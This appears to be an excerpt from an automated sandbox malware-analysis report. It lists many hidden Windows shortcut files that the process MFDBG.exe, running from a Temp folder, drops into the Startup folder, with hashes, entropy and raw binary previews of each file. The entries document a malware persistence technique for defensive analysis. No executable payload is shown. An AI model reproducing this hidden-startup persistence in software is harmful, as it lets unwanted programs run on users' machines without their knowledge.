Preview:	L..................F...."...]W%.{...9"..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_821eb2c80c0749e8b143fa20774f188c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937816599902352
Encrypted:	false
SSDEEP:	24:809hBf48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ml0R6rMhpBoUBxdRd1nYyg
MD5:	C2A42AEB2FCCA525FDDB9DE6D81608F6
SHA1:	ADFE46B31925DA9378640005221AFA5FC04FF2AE
SHA-256:	9372263587322E9C1B75C5318D637FC10CFED11421F4892BA011FB22DA5BDA79
SHA-512:	1A31474427C6E30867188638872D1B473867360591B03C17336BA612B92D016FCA3D7530AD68DDAAACFA4AE6F180BACE655C17907FD5EA71181300CE06887C3F
Malicious:	false
Preview:	L..................F...."...]W%.{...}p..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_822eb94f96a04da7bfde8090c1824c19.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936780558275539
Encrypted:	false
SSDEEP:	24:8LhBfTl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8vW0R6rMhpBoUBxdRd1nYyg
MD5:	39E7F64E5F2523853334ED1618C28C0A
SHA1:	41B8DCC7E294BEB25430AE03B6C0A0FBDEC5749E
SHA-256:	D563D2138B04A5CB88E1B71C725C1E0D4270D18EF3F7670F135554176CF0BBB3
SHA-512:	6261E48D07F70C58CBE92900FF776055E1F1F696647BF1833DB5BD90DEAEB3399D567CF481D16D93B217264CFE665E3A90BF36E7B033011379FFE7173AB05721
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...*L..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8267522f9bd942d4be804acfa38c0a33.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9404629972181
Encrypted:	false
SSDEEP:	24:8jhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Xs0R6rMhpBoUBxdRd1nYyg
MD5:	19E62DE8DF532263F038E4ADDDBBA1C0
SHA1:	0E4E4ED6204EBCCB83133DFE2C41CC3FF5E1763D
SHA-256:	F3FE7C261119C809C78FCA876C893D8B218DCAAE3C6726275433EF36DBF9985D
SHA-512:	A534E04F6FB0DD0FD3F768DFD7E071734A5EF8BE67337926EE0031E26B608A04BF051D3F02DC3C662B220A9A1DAA1F722B9A0B9F61B74C41F99CE46A92EF3D5C
Malicious:	false
Preview:	L..................F...."...]W%.{....Q.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_82faeaa0f2884ac9ad3d124972ac7138.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934033376922707
Encrypted:	false
SSDEEP:	24:8IhBfo8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8KV0R6rMhpBoUBxdRd1nYyg
MD5:	3251D327E58C60A7D5065285C2CF0FB7
SHA1:	A81E07F270AA5BAEC3187A9807C7391751E590F8
SHA-256:	F9839048EC3029EA4CEBAF43077F586B294199224922746F726588CD7FDEED7A
SHA-512:	B3669ACA4DB1963F10F1BDE882E0ADCC9A859BF160082DA0E6FE054080C02805C746B537526899C086F23BD57FE370320F4C63300463FBF32F86CE8F6587C9A6
Malicious:	false
Preview:	L..................F...."...]W%.{...2...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...2...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8344fd49fcdf40aaa8f4dcd76bce9da9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941415910635749
Encrypted:	false
SSDEEP:	24:88hBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8O90R6rMhpBoUBxdRd1nYyg
MD5:	80C77847988B3D8ED5C4037109048D59
SHA1:	A9760E4734ACF4151EDD58E3526C73402009486D
SHA-256:	5D003E42925D55FA8A054E489FE186FF982B59547B8A91FEB9809591F2D25311
SHA-512:	DF7B98C9C8A4A5482A51F6F3B63318208CAFE8A782104130E97F0A3D9E7DCAD06F5BE78A7D108BA08E35F5779839DDDE5969D5A7D9A021A44956349FA4937039
Malicious:	false
Preview:	L..................F...."...]W%.{...N...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8352761d2d7f49a8ab8b5c14c261829c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931150285565794
Encrypted:	false
SSDEEP:	24:83GhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83Mi0R6rMhpBoUBxdRd1nYyg
MD5:	E8321D62F14DF5EC012C210C020B51B3
SHA1:	D324C1C44F2A3EEE889B219CA7A4340A6CB092EE
SHA-256:	F1B233C25E8A210A77DD4F79D1BBB567D85CB1BDA3046E384F7CA7979EA802DA
SHA-512:	C43CC40F717350696E6C628AB47F4CC5D815054E762125175D121542BAD6041FBDDA6CD13F93F07B0AC1BFBC17B7145E8BE004BD1A9B083741277DA8FB8E9AFF
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_836d5ce5950f41b3944bc42c91b1b5f4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942637780193382
Encrypted:	false
SSDEEP:	24:8wg8hBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8whO0R6rMhpBoUBxdRd1nYyg
MD5:	33FE0ECEF76DE85C0D84C577775863BB
SHA1:	C77EF029FAF4F1CCED2C7AB0867C00DD8435AF0E
SHA-256:	8417FC948100B1011A2B0F5CEC6D3B94772B9379B08FCAAC5E1F390F86DCF04C
SHA-512:	7644F0EE44F68858C904FE1E1C51323765C209FF5D1B239E35DEBA080EE1F8C51701DD9577D358C8A769CF5555901DABFAB2A769CA60173C6A0B43929D08539A
Malicious:	false
Preview:	L..................F...."...]W%.{...z...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...6...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8372a0710ab940ab8228fd1586efad41.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930669666602657
Encrypted:	false
SSDEEP:	24:8LhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8vi0R6rMhpBoUBxdRd1nYyg
MD5:	0B09E8671D6ED9E768BF555C3DD19E21
SHA1:	4D2C2E1F63FB8FF235327F205466C43FCA01B132
SHA-256:	09185B61B15555205B0CFEB1404F61D1626130B8DE613834AFC5A1F4406CC5B3
SHA-512:	DE1651C5DA3095FE08715ED8A18228197F88FE62CF6B640442BEDAC935B6DADC17DEAF45D1811C739DCF5573990608D6383C3D95FEA044D92CF49A2B54D90BAA
Malicious:	false
Preview:	L..................F...."...]W%.{...9..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_83ac88d33bff447ea2ebed8298ec5bce.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942023801328165
Encrypted:	false
SSDEEP:	24:8FhBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8VZ0R6rMhpBoUBxdRd1nYyg
MD5:	0104363B4BADE6306AD253EB44B9DD1F
SHA1:	34EF0896ACA87F631F12CD4AC0D4BE62B1386B44
SHA-256:	378580016B225E948220EFC7F4141B2623B0436734E1D7991E8C059DE101F43C
SHA-512:	45E52EE817ED3EC41AE8B9572FAFAFBD7D72C9AD96AC93C3E3661959649F563F6D2DCE899592284AD105F291C06221E3C23DEDAE0D73CA3F4E71613CFA0F6DE6
Malicious:	false
Preview:	L..................F...."...]W%.{...t..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_83c7375efdc74ff7aeed9e6142061403.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925832682317852
Encrypted:	false
SSDEEP:	24:8E2hBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8jU0R6rMhpBoUBxdRd1nYyg
MD5:	973BD987179843E08D8761321D72E55F
SHA1:	9B01A955CC0AA818840533DE4718B3EFEA70277E
SHA-256:	347674E7FE0BE931788741B0CC4D75D1C1BAD58D04054A5F43AD89172F87073D
SHA-512:	E6D082A2E3CDDAAA839A3BDF7367B918A9FF47E15BFBC5AA46603680463B3E5FA810CE7C830F85C0124A2785F8A708BD2CC26DA3930E26061F0D21847041224D
Malicious:	false
Preview:	L..................F...."...]W%.{...m=\.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....Y.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_83f492e0109545968015f9d3466a7e52.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938499572253278
Encrypted:	false
SSDEEP:	24:8KahBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8d70R6rMhpBoUBxdRd1nYyg
MD5:	2FC89DD70D98F10E67AE93AA63271435
SHA1:	CF26F7DA09E0A13D25D968C9C119B89B6630BD31
SHA-256:	CACB0367F3880604A3666048BE5F3D03F4FDB516C9E0BDB0447CD942123D8D35
SHA-512:	FD1FBF8973A906EE8AA08415825E33498709762F4740B1CB53CAD43046E1DE805FA73641B60F0F85165EB58FA2E63BB58D9547AC52D6418C425175921EA8FEEF
Malicious:	false
Preview:	L..................F...."...]W%.{.....o.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_842011c2cfb3425f9b79700a42a29f45.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934111510586892
Encrypted:	false
SSDEEP:	24:8GhBfi8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Mn0R6rMhpBoUBxdRd1nYyg
MD5:	30C34C7898E9CE261067922A86687D75
SHA1:	45733D58CECE771BF75F741511939EB9EA312B66
SHA-256:	6B6C50BEC225C0425BA1D1C5B0C2771284F70806E6932D8BA8454BD59C75B2FD
SHA-512:	D0DFAE76276932F6CD80698788CE93B4FC614AA7D67C1E55B795B264244CDE8FC856BFC6932747D282BFFE954B1FEA9B96059DF4CAFE1470694E76F9C2242740
Malicious:	false
Preview:	L..................F...."...]W%.{...{W..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...t.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8444a3e7520a478f86b553fb4bb950f3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944275040589791
Encrypted:	false
SSDEEP:	24:8lhBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:81G0R6rMhpBoUBxdRd1nYyg
MD5:	87E4B80773CF36CB16E39A5A0B1D27CE
SHA1:	7965EF6F8C013912D503A44E9F17912AB5E0A630
SHA-256:	97B53A0EAECC45BEEA5335A652D743F73F08FDDC3FE81945DDF4E47EC09585B4
SHA-512:	BFD2EAA865997E15B545FE6970C1C79A58AA42BA36F28C68EC0E957DF5F88E85DAC50CADF537DBDAC3B65C07C47D2AD78E453880299D0643AB6728B69DF82230
Malicious:	false
